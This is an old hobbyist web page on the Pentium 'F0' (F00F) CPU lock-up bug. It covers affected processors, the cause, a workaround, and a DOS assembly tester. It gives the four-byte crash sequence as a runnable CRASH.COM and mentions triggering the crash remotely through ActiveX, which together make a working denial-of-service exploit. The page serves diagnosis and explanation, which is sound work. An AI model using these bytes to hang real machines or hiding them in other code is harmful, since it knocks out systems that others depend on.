The Pentium-F0 Bug.
Contents of this document
Which CPUs Have the Bug?
Description of the Bug
How Do I Execute the Bug?
The Solution
The Program
The EXE-file
List of Other Well-known Pentium-bugs
Links
Which CPUs Have the Bug?
This exact bug is only reported on Pentium Classic (P54C) and Pentium
MMX (P55C) CPUs. This bug is therefore not found on Pentium Pro, Pentium II,
K6, and Cyrix M1/M2. It ought to be mentioned, that the Cyrix-CPUs have
a related bug.
Description of the Bug.
The Pentium-F0 bug is OS-independent, which means, that it will trash ANY
OS, including OS/2, Windows NT, Windows 95, and Linux, all of which is
thought of as 'safe' OS'es (they won't crash).
Rumours (which are a bit overstated) says, that the CPUs will burn, and
be unable to reboot (= dead CPU). This hasn't happened for me however.
A press on RESET solves the problem.
This means, that the average Windows 95 user won't notice a big difference
(it crash every other time anyway). The real problem is found at an ISP
(Internet Service Provider), who will get into serious trouble if his
server dies, which seems to be piece of cake for a hacker (especially
with all the security-bugs found in internet-software).
There has been written a fix for Linux, which has been included in the
Linux kernel since v. 2.0.32pre4 and 2.1.63. It checks if the CPU is
a bugged Pentium while loading, and if so, installs the protection.
(I don't know how it works yet, however). This fix were made in less
than a week from the bug was first reported. I wonder how long the
WINtel-people have to use to do the same :)
Some people says, that the power consumption of the CPU falls to
almost zero, but I haven't been able to verify it yet.
How Do I Execute the Bug?
The bug is the result of an invalid instruction. First you'll LOCK
the bus and thereafter run invalid/unimplemented variants of the CMPXHG8
instruction. This requires no special permissions to run, it works fine
with average-joe-userspace permissions. I have verified this, it works.
The instruction doesn't make sense at all. If you were supposed to
analyse the instruction it would end up with something like this:
CMPXHG8 EDX:EAX,EAX
That is, compare and eventually exchange the 64-bit value in EDX:EAX
with the 32-bit value in EAX.
Therefore normal software will NOT execute the instruction, but evil
software can crash your computer via the net. It can only crash systems,
which allow you to run your own programs on them, e.g. via ActiveX, a
demonstration component is shown in the end of this paragraph.
When the instruction is executed the INT06-handler should be called
and take care of the problem. The problem is though, that the system crashes
while INT06 is called!
There is a build-in INT06-handler in OS/2, Windows NT, Windows 95, and
Linux, which is supposed to catch invalid instructions. Therefore you
can try to run this little program if you run either of these systems:
Create a file, and insert the following 4 characters with your favorite
editor:
0F0h, 0Fh, 0C7h, 0C8h
call it CRASH.COM, and run the program. Your system will now crash, if
you run with a bugged CPU under OS/2, Windows NT, Windows 95, or Linux.
If you run with another OS, which doesn't have an INT06-handler (e.g.
DOS) with e.g. a K6, you system will crash anyway, simply because you
try to run an invalid instruction.
(CRASH.COM has been tested with NT 4.0 build 1381 running on a Pentium 166 MHz, non-MMX).
If you're running Windows with Microsoft Internet Explorer 3.0+, with ActiveX enabled,
you can try to crash your Pentium Classic/MMX computer using the following
ActiveX-form (you won't see the form if you're using a browser that
don't support ActiveX, and hopefully you don't ;)
Here's the form (if your browser supports ActiveX):
The Solution.
The system crashes while the INT06-handler is called, but you can apparently
use a work-around. Simply let the INT06-handler's entry in the IDT
(Interrupt Descriptor Table) create a page-fault, and then take care
of the problem from there.
The Program.
This is a modified version of the program I posted in the Danish
Fido-net echo called HARDSOFT_R23.PUB.
This program runs perfectly well under DOS 5+ on any 80386+ CPU.
Source:
;-----------------------------------------------------------------------------
; Assembler directives
;-----------------------------------------------------------------------------
.xlist ; disable list file
.286
;-----------------------------------------------------------------------------
; Macros
;-----------------------------------------------------------------------------
LoadAll MACRO
db 0Fh,05h ; LoadAll is an undocumented opcode on 80286, some 80386,
; and some early i486s. Support for this instruction has
; been dropped with the i486.
; Therefore we can use this opcode to verify, that our
; INT06-handler works.
ENDM
F0Bug MACRO
db 0F0h,0Fh,0C7h,0C8h ; This instruction will trash any Intel Pentium
; (Classic and MMX).
ENDM
PrintMsg MACRO Msg
mov ah,9
mov dx,offset Msg
int 21h
ENDM
.list
;-----------------------------------------------------------------------------
; Dummy segments
;-----------------------------------------------------------------------------
INTSEG segment at 0
org 6*4
INT06 dd ?
INTSEG ends
;-----------------------------------------------------------------------------
; Data segment
;-----------------------------------------------------------------------------
_DATA segment use16 para public 'DATA'
;-----------------------------------------------------------------------------
; Misc data storage.
;-----------------------------------------------------------------------------
NumInts dw 0 ; Number of times int 6 has been called
OrigINT06 dd 0 ; Temp holding spot for INT06 vector
;-----------------------------------------------------------------------------
; String messages used for formatting the screen output
;-----------------------------------------------------------------------------
CRLFMsg db 0dh,0ah,24h
WelcomeMsg db "This program tests your CPU for the Pentium-F0 bug.",0dh,0ah
db "NOTE: This program will crash ANY Pentium Classic/MMX "
db "system.",0dh,0ah,24h
PressAKeyMsg db "Press SPACE to continue, or any other key to quit...",24h
LoadAllMsg db "Testing the LoadAll-instruction",0dh,0ah,24h
F0Msg db "Now testing for the F0-bug:",0dh,0ah,0dh,0ah,24h
ErrorMsg db "FAILED: Your CPU has the bug :( (PRESS RESET)",24h
HappyMsg db "PASSED: You CPU doesn't have this bug :)",24h
IntMsg db 0dh,"[Int 6 called ",24h
IntMsg2 db " time(s)] - ",24h
_DATA ENDS
;-----------------------------------------------------------------------------
; Beginning of main code segment
;-----------------------------------------------------------------------------
_TEXT segment para public use16 'CODE'
ASSUME CS:_TEXT, DS:_DATA, ES:_DATA, SS:STACKSEG
;-----------------------------------------------------------------------------
; Code starts here
; * Set up stack
;-----------------------------------------------------------------------------
OPCODE proc far
mov ax,seg STACKSEG ; setup stack segment
mov ss,ax
mov sp,size StackPtr
xor ax,ax ; clear it
pushf
push ds ; save far return on stack
push ax
;-----------------------------------------------------------------------------
; * Disable interrupts during this test
; * Set up data segments
;-----------------------------------------------------------------------------
cli ; disable interrupts
mov ax,seg _DATA ; get data segment
mov ds,ax
mov es,ax
;-----------------------------------------------------------------------------
; Install INT06 (Invalid opcode) exception handler
;-----------------------------------------------------------------------------
@@:
push es ; save
mov ax,seg INTSEG
mov es,ax
mov ax,offset OurINT6 ; get pointer to our INT06 handler
mov dx,cs ; get our code segment
xchg ax,word ptr es:INT06 ; swap 'em
xchg dx,word ptr es:INT06[2] ; swap vector
mov word ptr OrigINT06,ax ; save original vector
mov word ptr OrigINT06[2],dx; vector now saved
pop es ; restore original segment
;-----------------------------------------------------------------------------
; Test for the F0-bug. First we'll warn the user, that the system might crash.
; Then we'll try to see if our INT06-handler works by calling the
; LOADALL-instruction. Then we'll call the F0-bug.
;-----------------------------------------------------------------------------
PrintMsg CRLFMsg
PrintMsg WelcomeMsg ; print Welcome message, ..
PrintMsg CRLFMsg
PrintMsg PressAKeyMsg ; .. warn the user, ..
xor ah,ah
int 16h
cmp ax,3920h
jc Exit ; .. and let him quit
PrintMsg CRLFMsg ; test the LOADALL-instruction
PrintMsg CRLFMsg
call _PNumInts
PrintMsg LoadAllMsg
mov dx,offset NoLoadAll ; set destination location
LoadAll
NoLoadAll:
call _PNumInts
PrintMsg F0Msg
PrintMsg ErrorMsg ; let's suppose, that the system dies
mov dx,offset NoF0Bug ; set destination location
F0Bug ; run the F0-bug
NoF0Bug:
call _PNumInts ; the system didn't have the bug ..
PrintMsg HappyMsg ; .. so lets print the happy-message ..
PrintMsg CRLFMsg ; .. instead of the error-message
;-----------------------------------------------------------------------------
; Restore invalid opcode interrupt handler
;-----------------------------------------------------------------------------
Exit:
push es ; save
mov ax,seg INTSEG
mov es,ax
mov ax,word ptr OrigINT06[0] ; get pointer to our INT06 handler
mov dx,word ptr OrigINT06[2] ; get our code segment
xchg ax,word ptr es:INT06 ; swap 'em
xchg dx,word ptr es:INT06[2] ; swap vector
pop es ; restore original segment
;-----------------------------------------------------------------------------
; Terminate and return to DOS.
;-----------------------------------------------------------------------------
iret ; return to DOS
OPCODE endp
;-----------------------------------------------------------------------------
; Print the number of times the INT06-handler has been called.
;-----------------------------------------------------------------------------
_PNumInts PROC NEAR
PrintMsg IntMsg
mov ax,NumInts
call _dpt
PrintMsg IntMsg2
ret
_PNumInts ENDP
;-----------------------------------------------------------------------------
; Print the decimal number in AX.
;-----------------------------------------------------------------------------
_dpt PROC NEAR ; Entry-point for printing in decimal
mov cx,10
dploop: ; Entry-point for printing in CX-notation
xor dx,dx
div cx
push dx
cmp ax,0
je undo
call dploop
undo:
pop dx
pdig: ; Entry-point for printing a small digit in DL
add dl,30h
cmp dl,39h
jle pch
add al,7
pch: ; Entry-point for printing a single character
mov ah,2
int 21h
ret
_dpt ENDP
;-----------------------------------------------------------------------------
; This is a real down-and-dirty invalid opcode exception handler. All this
; handler does, is take the value in DX and use it as the return address.
;-----------------------------------------------------------------------------
; Input: DX = Return address
; Output: None
;-----------------------------------------------------------------------------
OurINT6 proc far
inc NumInts ; inc the no. of times the handler has been called
pop ax ; get IP from stack
mov ax,dx ; point to return address
push ax ; save it
iret ; go split
OurINT6 endp
_TEXT ENDS
STACKSEG segment para public STACK
;-----------------------------------------------------------------------------
; Stack segment
;-----------------------------------------------------------------------------
StackPtr db 40h dup (?)
STACKSEG ends
end OPCODE
Output
On a buggy CPU: This program tests your CPU for the Pentium-F0 bug.
NOTE: This program will crash ANY Pentium Classic/MMX system.
Press SPACE to continue, or any other key to quit...
[Int 6 called 0 time(s)] - Testing the LoadAll-instruction
[Int 6 called 1 time(s)] - Now testing for the F0-bug:
FAILED: Your CPU has the bug :( (PRESS RESET)
On a healthy CPU:This program tests your CPU for the Pentium-F0 bug.
NOTE: This program will crash ANY Pentium Classic/MMX system.
Press SPACE to continue, or any other key to quit...
[Int 6 called 0 time(s)] - Testing the LoadAll-instruction
[Int 6 called 1 time(s)] - Now testing for the F0-bug:
[Int 6 called 2 time(s)] - PASSED: You CPU doesn't have this bug :)
The EXE-file.
You may also download the compiled .EXE-file: F0BUG.EXE
List of Other Well-known Pentium-bugs.
- The FDIV-bug (Pentium 60-90 only)
- The DAN0411-bug (Pentium Pro and Pentium II only)
- The F0-bug (All Intel Pentiums (Classic and MMX))
For a more complete list of bugs in the Intel 80x86 family, see the
file 86BUGS.LST included in Ralf Browns Interrupt-list.
Links.
www.x86.org
The Pentium Pro / Pentium II bug - page.
Ralf Browns Interruptlist
www.news.com (best news-site around!)
Thanks To.
Thanks to all who have commented and discussed the bug in the Danish
Fido-net echoes: PASCAL_R23.PUB and HARDSOFT_R23.PUB.
I will not mention any names, since I probably would forget you.
Ingen nævnt - ingen glemt.
|